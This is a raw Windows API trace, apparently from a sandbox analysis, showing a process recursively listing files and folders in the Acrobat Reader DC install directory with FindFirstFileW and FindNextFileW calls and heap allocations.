	[0162.865] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a672c00, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdb16256d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3a672c00, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x28bf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="A3DUtils.dll", cAlternateFileName="")) returned 1
	[0162.865] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a672c00, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xded496a3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3a672c00, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xe8ff0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACE.dll", cAlternateFileName="")) returned 1
	[0162.865] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3632d245, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroApp", cAlternateFileName="")) returned 1
	[0162.866] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4520058
	[0162.867] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\*", lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3632d245, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd480
	[0162.867] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3632d245, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0162.867] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2a87d43, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2a87d43, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ENU", cAlternateFileName="")) returned 1
	[0162.867] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4530060
	[0162.868] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\*", lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2a87d43, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2a87d43, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd4c0
	[0162.869] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2a87d43, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2a87d43, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0162.869] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3637970e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x126, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppCenter_R.aapp", cAlternateFileName="APPCEN~1.AAP")) returned 1
	[0162.869] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3637970e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Certificates_R.aapp", cAlternateFileName="CERTIF~1.AAP")) returned 1
	[0162.869] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3639f962, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x17f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CollectSignatures.aapp", cAlternateFileName="COLLEC~1.AAP")) returned 1
	[0162.869] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x191f2bd5, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Combine_R_RHP.aapp", cAlternateFileName="COMBIN~1.AAP")) returned 1
	[0162.869] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1758800, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1d500f0c, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe1758800, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0xe8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Comments.aapp", cAlternateFileName="COMMEN~1.AAP")) returned 1
	[0162.869] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaf2622c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x1b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Compare_R_RHP.aapp", cAlternateFileName="COMPAR~1.AAP")) returned 1
	[0162.869] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x171, dwReserved0=0x0, dwReserved1=0x0, cFileName="CPDF_Full.aapp", cAlternateFileName="CPDF_F~1.AAP")) returned 1
	[0162.869] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x17e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CPDF_RHP.aapp", cAlternateFileName="CPDF_R~1.AAP")) returned 1
	[0162.870] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaf2622c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x197, dwReserved0=0x0, dwReserved1=0x0, cFileName="Edit_R_Exp_RHP.aapp", cAlternateFileName="EDIT_R~3.AAP")) returned 1
	[0162.870] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2a61b10, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="Edit_R_Full.aapp", cAlternateFileName="EDIT_R~1.AAP")) returned 1
	[0162.870] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2a87d43, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x191, dwReserved0=0x0, dwReserved1=0x0, cFileName="Edit_R_RHP.aapp", cAlternateFileName="EDIT_R~2.AAP")) returned 1
	[0162.870] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x185, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPDF_Full.aapp", cAlternateFileName="EPDF_F~1.AAP")) returned 1
	[0162.870] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x363534a5, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPDF_RHP.aapp", cAlternateFileName="EPDF_R~1.AAP")) returned 1
	[0162.870] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1758800, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1d52724e, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe1758800, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0xa7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="FillSign.aapp", cAlternateFileName="FILLSI~1.AAP")) returned 1
	[0162.885] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1758800, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1d551e46, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe1758800, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x163, dwReserved0=0x0, dwReserved1=0x0, cFileName="Home.aapp", cAlternateFileName="HOME~1.AAP")) returned 1
	[0162.885] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x363ebe21, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x0, cFileName="Measure.aapp", cAlternateFileName="MEASUR~1.AAP")) returned 1
	[0162.885] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x15c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MoreTools.aapp", cAlternateFileName="MORETO~1.AAP")) returned 1
	[0162.885] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaf4c482, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OptimizePDF_R_RHP.aapp", cAlternateFileName="OPTIMI~1.AAP")) returned 1
	[0162.885] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x193, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pages_R_RHP.aapp", cAlternateFileName="PAGES_~1.AAP")) returned 1
	[0162.885] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaf4c482, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Protect_R_RHP.aapp", cAlternateFileName="PROTEC~1.AAP")) returned 1
	[0162.885] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaf726db, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x193, dwReserved0=0x0, dwReserved1=0x0, cFileName="Redact_R_RHP.aapp", cAlternateFileName="REDACT~1.AAP")) returned 1
	[0162.885] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaf726db, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x1c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scan_R_RHP.aapp", cAlternateFileName="SCAN_R~1.AAP")) returned 1
	[0162.885] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x363ebe21, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stamp.aapp", cAlternateFileName="STAMP~1.AAP")) returned 1
	[0162.886] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3637970e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="TrackedSend.aapp", cAlternateFileName="TRACKE~1.AAP")) returned 1
	[0162.886] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x36fd7dc6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x12b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Viewer.aapp", cAlternateFileName="VIEWER~1.AAP")) returned 1
	[0162.886] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x36fd7dc6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x12b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Viewer.aapp", cAlternateFileName="VIEWER~1.AAP")) returned 0
	[0162.886] FindClose (in: hFindFile=0x5dd4c0 | out: hFindFile=0x5dd4c0) returned 1
	[0162.887] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0162.887] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2a87d43, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2a87d43, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ENU", cAlternateFileName="")) returned 0
	[0162.887] FindClose (in: hFindFile=0x5dd480 | out: hFindFile=0x5dd480) returned 1
	[0162.887] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0162.887] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2d5caac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x465f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroBroker.exe", cAlternateFileName="ACROBR~1.EXE")) returned 1
	[0162.887] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352c8bdc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe15851ea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe15851ea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroCEF", cAlternateFileName="")) returned 1
	[0162.887] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4520058
	[0162.887] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\*", lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352c8bdc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe15851ea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe15851ea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd480
	[0162.887] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352c8bdc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe15851ea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe15851ea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0162.888] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaad3e64, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cef.pak", cAlternateFileName="")) returned 1
	[0162.888] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac515e2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cef_100_percent.pak", cAlternateFileName="CEF_10~1.PAK")) returned 1
	[0162.888] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac77826, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cef_200_percent.pak", cAlternateFileName="CEF_20~1.PAK")) returned 1
	[0162.888] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac77826, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cef_extensions.pak", cAlternateFileName="CEF_EX~1.PAK")) returned 1
	[0162.888] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xd9f80ae4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x6b3f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="chrome_elf.dll", cAlternateFileName="CHROME~1.DLL")) returned 1
